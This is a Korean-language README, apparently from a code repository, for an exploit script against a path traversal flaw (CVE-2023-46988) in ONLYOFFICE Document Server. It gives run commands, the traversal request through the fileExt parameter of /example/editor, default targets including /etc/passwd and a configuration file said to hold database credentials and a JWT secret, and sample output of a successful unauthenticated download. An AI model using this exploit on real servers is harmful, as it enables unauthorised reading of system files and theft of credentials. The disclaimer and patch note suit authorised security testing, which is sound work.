ONLYOFFICE Path Traversal 익스플로잇 (CVE-2023-46988)

📌 개요

이 스크립트는 ONLYOFFICE Document Server의 경로 탐색(Path Traversal) 취약점(CVE-2023-46988)을 악용하여, 인증되지 않은 사용자가 서버에서 임의의 파일을 복사할 수 있게 합니다. 이 취약점은 /example/editor 엔드포인트에 존재하며, fileExt 매개변수를 조작하여 민감한 시스템 및 구성 파일에 접근할 수 있습니다.

⚠️ 면책 조항

이 도구는 교육 및 승인된 보안 연구 목적으로만 사용됩니다.
명시적 허가 없이 시스템에 무단으로 사용하는 것은 불법이며 비윤리적입니다.

🛠 기능

기본 민감 파일 검색:
- /etc/passwd
- /etc/onlyoffice/documentserver/local.json (데이터베이스 자격 증명 및 JWT 비밀 키 포함)
--file 인수로 검색할 모든 파일 경로 지정 가능.
Burp Suite 가로채기를 위한 선택적 프록시 지원 (--proxy).
선택적 SSL 인증서 검증 지원 (--verify).
특수 문자가 포함된 파일을 다운로드할 때 인코딩 문제를 수정합니다.

🚀 사용 방법

1️⃣ 기본 사용법 (기본 파일 검색)

python onlyoffice_exploit.py http://localhost

다음 파일을 검색합니다:

/etc/passwd
/etc/onlyoffice/documentserver/local.json

2️⃣ 사용자 지정 파일 검색 (예: `/etc/hosts`)

python onlyoffice_exploit.py http://localhost --file /etc/hosts

3️⃣ 프록시 활성화 (예: `127.0.0.1:8080`의 Burp Suite)

python onlyoffice_exploit.py http://localhost --proxy

python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080

4️⃣ SSL 인증서 검증 활성화

python onlyoffice_exploit.py https://example.local --verify

5️⃣ 프록시 및 SSL 인증서 검증 결합

python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify

🔍 작동 원리

악성 fileExt 매개변수를 사용하여 /example/editor에 요청을 전송합니다:
```
GET /example/editor?fileExt=../../../../../../../../etc/passwd
```
응답에서 리다이렉트 URL을 추출합니다.
응답에서 리다이렉트된 파일 이름을 파싱합니다.
파일 이름의 특수 문자에 대한 인코딩 문제를 수정합니다.
/example/download?fileName=<extracted_filename>에서 파일을 다운로드합니다.

🛠 예제 출력

[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd

🔒 완화 조치

ONLYOFFICE는 2024년 2월 업데이트에서 이 취약점을 패치했습니다.
사용자는 서버를 보호하기 위해 최신 버전으로 업데이트해야 합니다.

🐜 라이선스

이 프로젝트는 MIT 라이선스로 배포됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

OnlyOffice-path-traversal

인기